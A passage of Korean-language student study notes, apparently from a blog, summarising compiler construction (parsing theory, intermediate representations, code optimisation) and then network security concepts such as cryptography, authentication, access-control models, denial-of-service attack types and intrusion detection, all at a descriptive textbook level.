derivation) 가장 왼쪽에 있는 nonterminal을 먼저 대치 우측 유도(rightmost derivation) 가장 오른쪽에 있는 nonterminal을 먼저 대치 모호성 (ambiguity) 문법 G에 의해 생성되는 어떤 문장이 두개 이상의 유도트리를 갖는다면 문법 G는 모호하다고 한다 모호하지 않은 문법은 좌측 유도와 우측 유도가 같다 모호성 해결 연산자 우선순위 도입 결합 법칙 도입 Left Recursion은 좌측 결합에 사용 ex) A -> A+a | a Right Recursion은 우측 결합에 사용 ex) A -> a+A | a 구문 분석의 2가지 방식 top-down, bottom-up Top-down parsing Top-down 방식 좌측 유도와 같은 순선의 생성 규칙 적용 backtracking : 유도된 문자열과 입력 문자열이 같지 않으면 다른 생성규칙 적용 Bottom-up 방식 우측 유도의 역순의 생성 규칙 적용 LL 파싱 왼쪽->오른쪽으로 읽어서 좌파스 생성 backtracking X, 빠르다 결정적으로 파싱 사용된 정의 ε-생성규칙 Nonterminal A가 ε를 유도할 수 있으면 A를 nullable하다고 부른다 lhs, rhs A->XXX에서 lhs는 A, rhs는 XXX ⊕ (Ring Sum) A에 ε가 있으면, A⊕B = (A에서 ε빼고 A 합집합 B) A에 ε가 없으면, A⊕B = A First nonterminal A로 부터 유도되어 첫번째로 나타날 수 있는 terminal의 집합 X->Y1Y2Y3일때, FIRST(X) = FIRST(X) U FIRST(Y1) ⊕ FIRST(Y2) ⊕ FIRST(Y3) Follow A 다음에 나오는 terminal의 집합 A->αBβ, β != ε 일때, FOLLOW(B) = FOLLOW(B) U (FIRST(β)-{ε}) A->αB 또는 A->αBβ, FIRST(β)에 ε가 속할 때, FOLLOW(B) = FOLLOW(B) U FOLLOW(A) LL조건 FIRST(α)와 FIRST(β)가 겹치면 안된다 FIRST(α)에 ε가 있으면, FOLLOW(α)와 FIRST(β)가 겹치면 안된다 LL 조건을 만족하는 문법 = LL 파싱 되는 문법 LL(1) 문법 임의의 문법에 대하여 LL 조건을 만족하는 CFG 1 : LOOKAHEAD가 1개라는 의미 다음과 같은 경우 LL(1)문법이 되지 않는다 모호한 문법 우선순위 주기, 결합법칙 반영으로 해결 left-factoring이 되는 경우 공통 앞부분을 새로운 nonterminal로 만들어 해결 left-recursive한 경우 직접 recursion : A -> Aε 인경우 간접 recursion : A -> B, B -> A 인경우 LOOKAHEAD 어떤 규칙이 적용되었을때 맨 처음 나올 수 있는 terminal 집합 A->X1X2X3일때, LOOKAHEAD(A) = FIRST(X1) ⊕ FIRST(X2) … ⊕ FOLLOW(A) Strong LL(1) LL(1)과 항상 동일 (1이 아닐때는 다름) LOOKAHEAD(A->α)와 LOOKAHEAD(A->β)가 겹치지 않는 문법 LL(1) 파서 구현 방법 Recursive descent parser 장점 : 직관적 쉽다 단점 : 생성 규칙이 바뀌면 구문 분석기를 고쳐야 한다 Predictive parser PDA(PushDown Automata)에 기반 생성 규칙이 바뀌면 파싱 테이블만 수정 파싱테이블 예시 (?에는 규칙번호가 들어간다) a b S ? ? A ? ? 파싱테이블에 두개 이상의 생성 규칙이 들어가는 경우 -> NOT LL(1) Stack의 예시 Bottom-up parsing left-recursive 문법도 파싱 가능 LL(k) 좌측유도 기반 k개의 symbol을 lookahead Top-down parsing, recursive descent parsing, predictive parsing, LL parser 파스트리를 pre-roder로 순회 및 생성 LR(k) 우측유도 기반 k개의 symbol을 lookahead Bottom-up parsing, shift-reduce parsing, LR parser 파스트리를 post-order로 순회 및 생성 Reduce S=>αβω이고 A->β이면 β를 A로 대치하는 것 : S=>αAω 시작 symbol이 나올 때까지 reduce 한다 Handle S=>αβω이고 A->β이면 β를 αβω의 handle이라고 한다 두 개 이상의 handle이 존재할때 -> 모호하다 Shift와 Reduce로 Parsing 하기 Stack의 예시 Issue Shift와 Reduce 중 어느 것을 할까? Stack의 top에서 얼마만큼을 handle로 볼 것인가? 해결방법: LR Parsing Table YACC LALR 파서 생성기 foo.y –(yacc)–> y.tab.c –(gcc)–> a.out *.y 파일 구조 1<선언부> 2... 3%% 4... 5exp : exp '+' term; 6factor : ident; 7... 8%% 9<여러 함수> 모호한 문법으로 LR Conflict 발생 시 선언부에서 우선순위 지정하여 해결 LR Parsing Table Action table : Action + Parser 상태 Goto table : Parser 상태 LR(0) 파싱 테이블 만들기 LR(0) 아이템 rhs에 점(’.’) symbol을 가진 생성 규칙 ex) A->α.β, A->. closure 점(’.’)뒤에 non-terminal이 오면 재귀적으로 추가 S’ -> S, S -> (L)|id, L -> S | L,S closure({[S’->.S]}) = {[S’->.S], [S->.(L)], [S->.id]} goto goto(I, X)이면 점을 X뒤로 옮기고 closure를 취한다 X가 없으면 넣지 않는다 I={[G->E=E], [E->E.+T]} 일때, goto(I, +) = closure({E->E+.T}) : 점을 +뒤로 옮김 C0 생성규칙 S’->S에서부터 차례로 closure와 goto를 적용하여 얻은 모든 타당한 LR(0)의 아이템 집합들 Item의 종류 [A->X.Y] : X!=ε일때 kernel item [A->.X] : closure item [A->X.] : reduce item SLR 파싱 테이블 만들기 reduce Item이 [X->α.]일때, FOLLOW(X)의 모든 terminal에만 reduce action을 넣는다 나머지는 LR(0)과 똑같다 LR(0)보다 conflict가 적어, 더 정교하다고 할 수 있다. LALR Parsing 정교한 순서 LR(0) < SLR < LALR(1) < LR(1) 파서 상태의 개수 SLR = LALR « LR(1) SDD, AST SDD (Syntax Directed Definition) SDD : semnatic action을 정의하는 추상적인 명세서 Semnatic Actions : 규칙에 대한 Action Yacc/Bison : $$, $1, $2, ... 사용 ANTLR : $<name> 사용 Type declaration Attribute 종류 synthesized attr. : children에 의해 계산 (terminal) inherited attr. : parent, sibling에 의해 계산 AST (Abstract Syntax Tree) 파스트리에서 불필요한 정보를 제거한 형태 AST를 만드는 방법 파싱단계에서 만들기 : LL, LR 파스트리를 순회하면서 만들기 : SDD 사용 (Yacc etc.) evaluation : 노드를 방문하면서 작업하는 행위 On-the-fly evaluation S-attributed SDD: synthesized attribute만 가지고 있는 SDD L-attributed SDD: synthesized attribute만 가지는 경우 + 값이 왼쪽에서 오른쪽으로 흘러 계산이 이루어지는 경우 IR (Intermediate Representation) IR이란? Tree나 Instruction list 형태 instruction(node)가 적어야 최적화/번역에 좋음 High Level IR High와 Low는 상대적인 개념 High level IR: 여기서는 AST의 변형만 생각 종류 : AST, TCOL Low Level IR 단순한 instruction으로 구성 가상기계(주로 RISC)를 emulate N-tuple 표기법 (3-address code) a = b OP c 일반적으로 기계어가 가지는 피연산자 개수 <= 3 quadruple : (연산자, 피연산자1, 피연산자2, 결과) Stack machine code Java byte code, U-code : AST로부터 생성이 용이 Tree 표현 기계어 생성 용이 IR 예시 GCC - GIMPLE (3-address code) GCC의 중간코드 : GENERIC -> GIMPLE -> RTL 1D.1954 = x*10 // D.1954는 임시변수 2gimple_assign <mult_exprt, D.1954, x, 10> LLVM - bit (3-address code) LLVM IR : 언어와 머신에 독립적 1@var = global i32 14 ; 전역변수 var에 14 대입 2define i32 @main() nounwind { ; i32(int) 반환형 3 entry: 4 %a = alloca i32, align 4 ; 지역변수 a 선언, int 할당 5 %1 = load i32 * @var ; %1 임시변수에 var값 대입 6 ret i32 %1 ; 임시변수 값 반환 7} JVM - byte code (stack machine code) 가상 기계 코드 (Bytecode, MSIL) 가상 기계에서 동작하도록 함 이식성, 호환성이 목적 : java bytecode는 machine 호환성, c# msil은 language 호환성 1public Employee(String strName, int num) 2{name = strName; idNumber = num; storeData(strName, num);} 3Method Employee(java.lang.String, int) 4 50 aload_0 ; 0번째 로컬변수(this)를 스택에 push 61 invokespecial #3 <Method java.lang.Object()> ; 함수 호출 7--- 84 aload_0 95 aload_1 ; strName을 스택에 push 106 putfield #5 <Field java.lang.String name> ; name에 strName 대입 11--- 129 aload_0 1310 iload_2 ; num을 스택에 push 1411 putfield #7 <Field int idNumber> ; idNumber에 num 대입 15--- 1614 aload_0 1715 aload_1 ; strName을 스택에 push 1816 iload_2 ; num을 스택에 push 1917 invokespecial #9 <Method void storeData(java.lang.String, int)> ; 함수 호출 2020 return line number : 명령이 시작하는 바이트 주소 aload : 객체를 push, iload : 정수를 push 원래는 aload가 명령, 자주 쓰는 명령 aload 0을 묶어서 bind -> aload_0 CIL (Common Intermediate Language) (stack machine code) C#, VB.NET, J# 등에서 사용 MSIL은 옛날 이름 1.assembly Hello {} ; .assembly: 어셈블리 선언 2.assembly extern mscorlib {} 3.method static void Main() { 4 .entrypoint 5 .maxstack 1 6 ldstr "Hello, world!" ; stack에 저장 7 call void [mscorlib]System.Console::WriteLine(string) 8 ret 9} GCC RTL(Register Transfer Language) (Tree구조 코드) Lisp S-expression 사용 1(set (reg:SI 140) 2 (plus:SI (reg:SI 138) 3 (reg:SI 139))) => reg140 = reg138+reg139 IR generation 3-address Translation 규칙 Binary operations: t = [[el OP e2]] Unary operations: t = [[OP el]] Array access: t = [[ v[e] ]] Structure access: t = [[ v.f ]] Short-circuit OR: t = [[ el SC-OR e2]] Statement sequence: [[s1; s2; ...; sN]] Variable assignment: [[ v = e ]] Array assignment: [[ v[e1] = e2 ]] If: [[ if(e) then s ]], [[ if(e) then s1 else s2]] While: [[ while (e) s ]] Switch: [[ switch (e) case v1:s1, ..., case vN:sN ]] Function Call: [[ call f(e1, e2, ..., eN) ]] Fucntion Return: [[ return e ]] Statement Expression Statement도 expression 처럼 값을 가지도록 확장 t = [[ S ]]를 추가하여 결과값을 저장하자 Nested Expressions t = [[ (a - b) * (c + d) ]] t = [[ if c then if d then a = b ]] 가장 큰 덩어리부터 바꾼다 Storage Management 2가지 Storage Register : 빠른 접근, 간접 접근 불가 Memory : 상대적으로 느린 접근, 간접 접근 가능 2가지 접근 방식 All memory approach 모든 변수를 memory에 저장, 가능한것만 register Standard approach Global, Statics, Local(composite)는 memory에 저장 Local(scalar)는 memory 또는 virtual register에 저장 Memory의 4대 영역 Code space : 명령어를 저장 read-only일때 빠름 Static data : 프로그램과 lifetime을 함께하는 데이터 Stack : Local 변수들 Heap : 동적으로 할당되는 데이터 File Format Windows : PE (Portable Executable) Unix : ELF (Executable and Linkable Format) 변수 바인딩 environment : <변수, storage location> 정보 state: <변수, 값> 정보 어떤 변수 N이 storage location S에 지정되면 바인딩 된다고 한다 Static Allocation 프로그램 수행하는 동안 변하지 않는 location으로 바인딩 Heap Allocation 연속적인 global 영역의 일부를 OS로부터 받은 것 프로그램 수행 중 요청과 반환 Stack Management Run-time stack : 한 함수 call마다 하나씩두는 frames Activation record : 함수 수행을 위한 execution env(local var, parameter, return address, etc.) Top frame : 현재 수행중인 함수의 frame Stack pointers SP : Frame top FP : Frame base 두 개를 쓰는 이유 가까운 거 기준으로 offset 계산 -> small offset 유지 수행 중 top frame의 위치를 알 수 없음 Semantic Analysis - Symbol Tables Scope Identifier: 식별자 Lexical Scope: 특정 범위 식별자의 Scope: 그 식별자의 선언이 참조되는 lexical scope Symbol Table Name Kind Type Attribute foo func int, int -> int extern m arg int tmp var char const 하나의 lexical마다 하나의 symbol table symbol table은 계층적이다 현재 scope에 없으면 상위 scope로 올라가면서 찾는다 Symbol Table Implementation AST가 만들어져야 가능 Local Table은 hash table 사용 Global Table은 N-array tree 구조 사용 코드를 순차대로 읽으면서 만듬 (scope 스택을 사용) Type Checking Type Expressions Array types: T[], T[10] Structure types : {id1: T1, id2: T2 …} Pointer types: T* Function types: T1 X T2 X … X Tn -> T_return Type Judgement A ├ E : T A 상황에서 E는 T타입을 만족한다 A ├ if(E) S1 else S2 : T 위 조건은 모든 E, S1, S2, A, T에 대한 가정이 성립할 때 결론 T가 성립한다 Proof Tree (타입 유도 트리) 역삼각형 모양 만족하는 proof tree가 있다 -> 타입 오류가 없다 그 외 Semantic Analyses break, continue, goto 문이 올바른 위치에 있는 지 등 컴파일러 후반부 (빠르고, 실제 돌아가는 코드로 바꾸기) Instruction Selection Tree 기반 Intermediate Representation MEM(e) : 주소 e로 시작하는 메모리 한 word의 내용 TEMP(t) : 레지스터 t SEQ(s1, s2): 문장 s1 수행 후 s2 수행 ESEQ(s, e): 문장 s 수행 후 (결과 없음) e가 추가 수행 BINOP(o, e1, e2) : 연산자 o, 피연산자 e1, e2, 결과 저장된 주소 반환 const(i): 정수 상수 i Register Allocation 최적화 하기 위해 최대한 자주 사용되는 것을 Register에 저장 Interference 서로 다른 두 definition이 live range 에서 공통 operation을 가지고있는 경우 Interference Graph : 서로 interfere 하면 연결하는 그래프 Graph coloring : 연결된 노드는 다른 색으로 칠하기 Instruction Scheduling instruction의 순서를 바꾸어 stall 개수 등을 줄여서 수행속도를 높이는 것 stall : 다른 명령어 수행을 기다리느라 CPU를 낭비하는 것 목표 Wasting time을 줄인다 동일한 코드가 나와야한다 register spilling을 피해야한다 Static scheduling 단계 Local basic scheduling, Loop scheduling, global scheduling Local basic scheduling List scheduling : greedy, heuristic, local technique 사용 precedence graph를 만든다 각 노드에 priority function을 적용한다 “ready-operation queue"를 에서 ready operation을 하나 선택 후 scheduling, ready operation queue를 업데이트한다. Longest latency-weighted path를 이용해서 우선순위를 정한다 기타 Optimization 방법 addr r1 1 -> inc r1 특수 성질의 레지스터 활용 특수 목적의 명령어 활용 Register 간 mov 제거 중복된 load 제거 Control Flow Optimizations(최적화) 주어진 입력 프로그램을 좀 더 효율적인 코드로 바꾸는 것 여러가지 분류 방법 분석 : Control Flow Analysis vs Data Flow Analysis 최적화 Inner basic block(local) vs Inter basic block(global) Cyclic code opt vs Acyclic code opt Control Flow Analysis Control Flow 프로그램의 가능한 수행순서 (분기) Branch Execution -> dynamic control flow : 실행 해봐야 확인 가능 Compiler -> static control flow : 컴파일러가 분석해서 알 수 있음 Analysis 정적 성질 (static property): 프로그램 수행 없이 도출 되는 성질 CFA(Control Flow Analysis) : 코드의 분기 구조를 CFG 형태로 표현 Basic Block 동일한 execution condition을 적용받는 instruction 묶음 instruction 외에는 branch가 없음 Maximal basic block 구하기 BB의 leader(첫번째 instruction)를 찾는다 다음 leader 이전까지의 instruction을 구한다 Weighted CFG Profiling: 반복해서 수행해보면서 실행횟수를 얻음 얻은 weight를 edge에 표시 Control Flow Optimization Acyclic Code Loop가 없는 코드 분석 및 최적화가 상대적으로 쉬움 종류 Inner basic block opt. = Intra opt. = Local opt. Inter basic block opt. = Global opt. Inner Basic Block Optimization Commn subexpression elimination 공통된 부분이 있으면 한번만 계산 Algebraic simplification 대수법칙을 이용하여 식을 간소화 ex) x=1*y; -> x=y; Strength reduction 연산자의 비용이 적은 것으로 바꾸기 ex) x=x*2; -> x=x+x; ex) y=a/4; -> y=a>>2; Constant folding / propagation folding: 컴파일 시간에 상수식을 직접시간 propagation : 고정된 값을 가지는 변수를 상수로 대체 Inter Basic Block Optimization Global application of inner basic block optimization Global common subexpression elimination basic block 간의 공통 부분식에 대해 한번만 계산 Global constant folding / propagation basic block 간의 상수를 인식하여 한번만 계산 Other transformation Branch to unconditional branch 불필요한 분기 제거 Unconditional branch to branch 분기 후 바로 분기 -> 분기 한번으로 변경 Branch to next basic block (next instr) 분기 후 바로 다음 basic block으로 분기 제거 Basic block merging 두 basic block을 합침 Branch to same target 같은 basic block으로 분기하는 것을 제거 Branch target expansion 분기 대상이 되는 basic block을 합침 Unreachable code elimination Entry에서 도달할 수 없는 ‘unreachable’ block 제거 Loop Optimization Loop는 한번 optimize하면 효과가 크다 Loop unrolling : 반복문을 풀어서 반복 횟수를 줄임 Loop invarient : 매번 동일한 값을 내는 문장을 반복문 밖으로 빼냄 Count up to zero : i를 감소하는 반복문으로 변경 (i를 0과 비교하는 것이 n과 비교하는 것보다 빠름) Dataflow Analysis + Optimization Dataflow Analysis 프로그램 내에 각 data 값들이 생성/소멸되는 정보를 모으는 것 Reaching Definition Analysis definition : 해당 변수가 assign되는 것 reach : definition d가 특정 위치 p에 도달한다 kill : definition d의 두개의 포인트사이에서 다른 definition이 존재한다 GEN/KILL GEN: 블록 내에서 생성된 definition KILL: 블록 내에서 소멸된 definition IN/OUT IN : 이전 블록의 OUT의 합집합 OUT : IN에서 GEN을 더하고 KILL을 뺀 것

네트워크 보안

🏫 학과 공부

네트워크 보안 개요 네트워크 보안의 요구사항 기밀성(Confidentiality) 정보를 권한이 없는 개인에게 노출되지 않도록 함 무결성(Integrity) 정보와 프로그램은 인가된 방식으로만 변경되도록 함 가용성(Availability) 정보 자산에 대해 적절한 시간에 접근 가능하도록 함 보안 공격의 종류 소극적 공격(Passive Attack) 정보를 도청하거나 감시하는 공격 방어방법 : 암호화 적극적 공격(Active Attack) 정보를 변조하거나 삭제하는 공격 방어방법 : 메시지 인증 보안 서비스 인증(Authentication) 사용자의 신원을 확인하는 과정 대등 개체 인증, 데이터-근원지 인증 접근 제어(Access Control) 자원을 불법적으로 사용하지 못하도록 방지하는 것 데이터 기밀성(Data Confidentiality) 데이터의 불법적 노출을 막는 것 연결기밀성, 비연결 기밀성, 선별된-필드 기밀성, 트래픽-흐름 기밀성 데이터 무결성(Data Integrity) 수신된 데이터가 송신된 데이터와 일치하는지 확인하는 것 연결형 데이터 무결성, 비연결형 데이터 무결성 복구 가능한 데이터 무결성, 복구 불가능한 데이터 무결성 선별된-필드 연결 무결성, 비연결 무결성, 선별된-필드 비연결 무결성 부인 봉쇄 (Non-repudiation) 통신의 한 주체가 통신에 참여했던 사실을 부인하는 것을 방지 가용성 서비스 (Availability Service) 서비스를 사용할 수 있는 상태를 유지하는 것 보안 메커니즘 특정 보안 메커니즘 특정 프로토콜 계층에서 구현되는 메커니즘 인증 암호화 디지털 서명 접근 제어 데이터 무결성 인증 교환 트래픽 패딩 경로 제어 공증 일반 보안 메커니즘 계층과 서비스에 독립적인 메커니즘 신뢰받는 기능 보안 레이블 사건 탐지 보안 감사 추적 보안 복구 암호 기술의 이해 전통적인 암호 기술 암호를 사용하는 목적 비밀성 유지 (Confidentiality) 무결성 유지 (Data Integrity) 사용자 또는 자료의 출처 인증 (Authentication) 부인 방지 (Non-repudiation) 암호 해독 해독자는 암호 시스템을 알고 있지만, 키만 모름 Cipher Text Only Attack : 암호문 단독 공격 Know Plain Text Attack : 알려진 평문 공격 Chosen Plain Text Attack : 선택적 평문 공격 공개키 암호화 비밀키 암호의 비교 구분 공개키 암호 비밀키 암호 키의 관계 암호화 키 != 복호화 키 암호화 키 = 복호화 키 키의 개수 2n n(n-1)/2 1인당 필요한 비밀키 1 n-1 속도 비효율적 효율적 대칭키(비밀키) 암호 종류 블록 암호 : 블록 단위로 암호화 DES, IDEA, AES 스트림 암호 : 비트 단위로 암호화 RC4, A5/1 한국에서 사용하는 알고리즘 NEAT, SEED, NES, ARIA 공개키(비대칭키) 암호 종류 소인수 분해 기반 : RSA 이산 대수 기반 : ElGamal 타원 곡선 기반 키 생성 서로소인 두 소수 p, q를 선택 n = p * q φ(n) = (p-1)(q-1) gcd(e, φ(n)) = 1을 만족하는 e 선택 d * e mod φ(n) = 1을 만족하는 d 선택 공개키 : {e, n}, 비밀키 : {d, n} 암호화 C = M^e mod n 복호화 M = C^d mod n DH (Diffie Hellman) 키 공유 q(소수), α(q의 원시근, α<q) 임의 수 $X_A < q$를 만족하는 $X_A$를 선택 공개할 $Y_A = \alpha^{X_A} mod\ q$ 상대방이 생성하는 비밀키 $K = Y_A^{X_B} mod\ q$ 암호 기술의 활용 디지털 서명 특성 위조 불가, 변경 불가, 서명자 인증, 재사용 불가, 부인 방지 서명자의 비밀키로 암호화 서명자의 공개키로 복호화 단방향 해시 함수를 이용한 메시지 인증 해시 함수의 요건 단방향성 : H(x) = h일때, x를 찾는 것이 불가능해야한다 약한 충돌 저항성 : H(x)=H(y)를 만족하는 y(=x)를 찾는 것이 불가능해야한다 강한 충돌 저항성 : H(x)=H(y)를 만족하는 (x, y)를 찾는 것이 불가능해야한다 공개키 기반 구조 인증서 공개키와 사용자 정보를 포함한 전자 문서 표준 : X.509 v3 PKI (Public Key Infrastructure) 공개키를 관리하고 인증하는 구조 CA (Certificate Authority) : 인증서 발급 RA (Registration Authority) : 사용자 등록 CRL (Certificate Revocation List) : 폐기된 인증서 목록 동형암호와 양자암호 기술 동형암호 암호화된 상태에서 연산을 수행한 결과를 복호화하면 원문과 같은 결과를 얻는 암호화 기법 부분 동형 암호 : 덧셈과 곱셈 중에서 하나의 연산만 지원 준동형 암호 : 연산의 횟수에 제한이 존재 완전 동형 암호 : 임의의 계산을 수행 가능 활용 암호화된 상태로 연산을 하기 때문에 보안성이 높음 양자 내성 암호 (PQC: Post Quantum Cryptography) 양자 컴퓨터에 의한 공격으로부터 안전한 공개키 암호 QKD(Quantum Key Distribution) : 양자 통신을 위해 비밀키를 분배/관리하는 기술 QRNG(Quantum Random Number Generator) : 양자 난수 생성기 사용자 인증 사용자 인증 원리 인증 절차 신원 확인 단계 입증 단계 NIST의 전자 인증 모델 인증 수단 알고 있는 것을 통한 인증 : 비밀번호 소유물을 통한 인증 : OTP 기기, 인증서 생체 조직을 통한 인증 : 지문, 망막 행동을 통한 인증 : 목소리 패턴, 필적 보존 등급 영향 프로파일 보증레벨 : 신뢰서 정도에 따라 4가지 등급으로 분류 비밀번호 기반 인증 공격 유형 오프라인 사전 공격 특정 계정 공격 잘 알려진 패스워드 공격, 대입 공격 단일 사용자에 대한 패스워드 추측 단말기 강탈 사용자 실수 이용 다중 비밀 번호 사용 컴퓨터 모니터링 : 통신 패킷 분석 해시화된 비밀번호 사용 Salt의 역할 비밀번호가 같아도 다른 해시값을 가지도록 함 패스워드 크랙킹 사전 공격 레인보우 테이블 공격 : 모든 솔트에 대한 해시 값을 계산해 놓은 테이블을 이용 패스워드 선택 기법 사용자 교육 컴퓨터 발생 패스워드 패스워드 검사의 활성화 : 자체 패스워드 크래커 실행 사전 패스워드 검사 : 패스워드 안정성 검사 토큰 기반 인증 종류 메모리 카드 스마트 카드 : 임베디드 마이크로프로세서 포함 생체 인증 기술 정확도 : 확률 밀도 함수로 표현하면 정규 분포를 따름 FAR (False Acceptance Rate) : 거짓 수락률 FRR (False Rejection Rate) : 거짓 거부율 EER (Equal Error Rate) : FAR과 FRR이 같은 지점 원격 사용자 인증 멀티 팩터 인증 : 두 요소 이상을 사용한 인증 멀티 채널 인증 : 다양한 채널을 통해 인증 인증 프로토콜 패스워드 프로토콜 호스트가 난수를 생성, 사용자에게 전송 사용자는 패스워드와 난수를 조합하여 해시값을 생성, 전송 토큰 프로토콜 호스트가 난수를 생성, 사용자에게 전송 사용자는 토큰을 사용하여 난수를 암호화, 전송 정적 생체 프로토콜 호스트는 난수와 암호화를 위한 식별자를 전송 사용자는 이를 사용하여 생체 정보를 암호화, 전송 동적 생체 프로토콜 호스트가 사용자에게 랜덤 시퀀스나 난수를 전송 사용자는 이를 말하거나, 글자를 쓰는 등의 동작을 수행, 암호화 후 전송 접근 제어 접근 제어 원리 접근제어 철학 접근통제 영역 관리적 통제 기술적 통제 물리적 통제 접근 제어 원칙 알 필요성 원칙 최소 권한 원칙 최대 권한 원칙 직무 분리 원칙 접근 제어 기본 요소 주제 : 객체에 접근 가능한 존재 : user, group, other 객체 : 접근이 제어되는 자원 : 파일 또는 레코드 접근 권한 : 주체가 객체에 접근할 수 있는 방법 : 읽기, 쓰기, 실행 등 접근 제어 요구 사항 닫힌 정책 : 화이트리스트 관리 열린 정책 : 블랙리스트 관리 접근 제어 정책 임의 접근 제어 (DAC) 강제적 접근 제어 (MAC) 역할 기반 접근 제어 (RBAC) 속성 기반 접근 제어 (ABAC) 임의 접근 제어 (DAC, 자율적 접근 제어) 한 개체가 자신의 의지대로 다른 개체에게 권한을 부여하는 방식 접근 제어 목록 (access control list) > 개체별로 접근 권한을 명시하는 방식 인가 테이블 확장된 접근 제어 매트릭스 UNIX 파일 접근 제어 Set-UID : 실행할 때, euid를 소유자의 id로 설정됨 ex) -rwsr-xr-x : 4755 Set-GID : 실행할 때, egid를 소유그룹의 id로 설정됨 ex) -rwxr-sr-x : 2755 패스워드 파일 : /etc/shadow : ———- : 000 역할 기반 접근 제어 사용자의 역할에 따라 접근 권한을 부여하는 방식 역할 계층 - RBAC1 역할 구조는 기관 내 역할의 계층 구조를 나타내는 수단 제약(전제조건)의 의미와 종류 - RBAC2 제약의 종류 상호 배타적인 역할 : 직무와 능력을 분리 cardinality : 역할에 관한 최대숫자를 설정 전제 조건 : 특정 역할이 다른 명시된 역할에 할당 되었다면, 사용자는 그 역할에만 할당될 수 있다 속성 기반 접근 제어 자원과 주체의 성질의 특성에 대한 조건을 표현하여 접근 권한을 정의하는 방식 ABAC 모델의 3가지 주요 요소 구성 내의 존재를 위해 정의된 속성 ABAC 정책을 위해 정의된 정책 모델 접근 제어 실행을 위한 정책에 적용되는 구조 모델 속성 주체, 객체 환경 조건, 권한에 의해 미리 정의되고 할당된 요구 동작의 특정 측면을 정의하는 성질 유형 주체 속성 : 사용자, 응용 프로그램, 프로세스, 디바이스 객체 속성 : 디바이스, 파일, 프로그램, 네트워크 등 환경 속성 : 날짜, 시간, 네트워크 보안 레벨 등 ABAC의 논리 구조 ACL 접근 체인 ABAC 신뢰 체인 정책 조직 내에서 주체의 권한과 환경 조건에서 자원 혹은 객체들이 보호되는 것에 기반한 허가된 행위를 관리하는 규칙과 관계의 집합 강제적 접근 제어 (MAC) 객체에 포함된 정보의 비밀성과 이러한 비밀성의 접근 정보에 대하여 주체가 갖는 권한에 근거하여 객체에 대한 접근을 제한하는 방법 기밀성에 따른 접근 권한 제어 No read up (단순 보안 속성) 보안 수준이 낮은 주체는 보안 수준이 높은 객체를 읽을 수 없음 No write down (*(스타) 보안 특성) 보안 수준이 높은 주체는 보안 수준이 낮은 객체에 기록할 수 없음 무결성에 따른 접근 권한 제어 No read up (단순 무결성 특성) 보안 수준이 높은 주체는 보안 수준이 낮은 객체를 읽을 수 없음 No write down (*(스타) 무결성 특성) 보안 수준이 낮은 주체는 보안 수준이 높은 객체에 기록할 수 없음 신원, 신용장, 접근 관리 (ICAM) 서비스 거부 공격 서비스 거부 공격 공격할 수 있는 자원 : 네트워크 대역폭, 시스템 자원, 응용 프로그램 자원 전통적인 DoS 공격 플러딩 핑 명령 대상 조직에 대해 네트워크 연결 기능을 제압하는 것이 목적 시작 주소 스푸핑 위조된 소스 주소 사용 후방 산란(backscatter) 트래픽을 이용해 대응 SYN 스푸핑 일반적인 DoS공격 연결을 관리하는 테이블을 넘치게 함 Flooding 공격에 비해 적은 트래픽으로 공격 가능 공격자 입장 스푸핑된 시스템이 존재한다면 Reset 패킷을 수신 존재하지 않으면 타이머에 의한 재전송 후 엔트리 삭제 Reset으로 반응하지 않는 주소를 사용 플러딩 공격 프로토콜에 따라 분류 ICMP 플러딩 UDP 플러딩 TCP SYN 플러딩 DDoS (Distributed Denial of Service) 여러 대의 컴퓨터를 사용하여 대상 시스템을 공격하는 방식 분산 서비스 거부 공격 응용프로그램 기반 대역폭 공격 세션 개시 프로토콜(SIP) 플러드 세션 개시 프로토콜 : VoIP 기술에 대한 표준 프로토콜 HTTP 기반 공격 스파이더링(spidering) 특정 HTTP 링크에서 시작되며, 재귀적 방식으로 제공되는 웹사이트에 모든 링크를 따르는 봇 R-U-DEAD-YET (RUDY) 공격 Content-Length를 크게 설정하여 서버의 지연을 유발하는 기법 Slowloris 공격 비정상적인 헤더 값을 서버로 요청하여 연결을 유지하여, 서버가 헤더를 기다리게 하는 공격 반사 및 증폭 공격 반사 공격 TCP SYN 스푸핑 공격 DNS 반사 공격 증폭 공격 (smurfs) DNS 증폭 공격 공격자가 타겟 시스템의 스푸핑 소스 주소를 담고 있는 DNS 연쇄적 요청 적은 요청으로 많은 트래픽을 발생시키는 DNS 행위를 이용 방어책 : 스푸핑 소스 주소의 사용을 방지 DoS 공격 방어, 예방, 대응 DoS 공격 예방 스푸핑 소스 주소 차단 TCP 연결 관련 코드를 수정 IP 다이렉트 브로드캐스팅 기능 차단 의심스러운 서비스나 부호조합 차단 capcha를 이용해 자동화된 요청 차단 알맞은 표준 시스템 보안 관행화 미러 서버 또는 복제 서버의 사용 DoS 공격 대응 공격 유형 확인 : 패킷 캡처 ISP로 패킷의 흐름을 역추적 : 높은 비용 발생 비상 사태 계획 구현 사고 대응 계획 업데이트 DNS 싱크홀 적용 좀비와 C&C 서버의 통신을 차단하는 방법 DDoS 대피소 침입 탐지와 침입 차단 침입자 침입자 유형 사이버 범죄자 해킹주의자 정부 후원 집단 기타 행동 패턴 공격 대상 포착 및 정보 수집 초기 접속 권한 상승 정보 수집 또는 시스템 공격 접근 관리 추적 회피 침입 탐지 보안 침입 : 침입자가 허가 권한 없이 시스템 (또는 자원)을 빼내거나 액세스하려는 시도로 구성된 사건의 조합 침입 탐지 : 허가되지 않은 방식으로 시스템 자원에서의 접근 시도를 발견 및 실시간으로 알려주는 목적의 시스템을 모니터링하고 분석하는 보안 서비스 침입 탐지 시스템 (IDS) 호스트 기반 IDS 네트워크 기반 IDS 분산 IDS 또는 하이브리드 IDS 분석 방법 이상 징후 탐지 행동 기반 탐지 : 행동 패턴을 기반으로 탐지 시그니처 탐지 : 알려진 공격 패턴을 기반으로 탐지 시그니처 방식 또는 휴리스틱 방식 호스트 기반 IDS HIDS 취약하거나 민감한 시스템에 특수 보안 소프트웨어 계층을 추가 데이터 소스 시스템 호출 추적 로그 파일 네이티브 감사 기록 : 시스템이 생성하는 로그 파일 특정 감사 기록 : IDS에 의해 요구된 정보만을 기록하는 수집 시설 파일 무결성 체크섬 레지스트리 액세스 USTAT 액션 vs SunOS 이벤트 유형 분산 호스트 기반 침입 탐지 네트워크 기반 IDS NIDS 네트워크 트래픽을 모니터링하여 침입을 탐지 NIDS 센서 배치 인라인 센서 : 네트워크 세그먼트에 삽입되어 그 센서를 통과하는 트래픽만 감지 수동 센서 : 네트워크 트래픽 사본을 감시 침입 탐지 기법 시그니처 탐지 이상 징후 감지 Stateful protocol analysis 